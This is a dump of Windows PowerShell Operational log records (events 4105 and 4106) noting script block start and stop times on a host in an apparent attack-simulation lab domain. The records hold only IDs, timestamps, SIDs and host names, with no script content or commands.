OpCode=On create calls
RecordNumber=2035982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035976
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035975
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035970
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035969
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035947
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035945
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035944
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
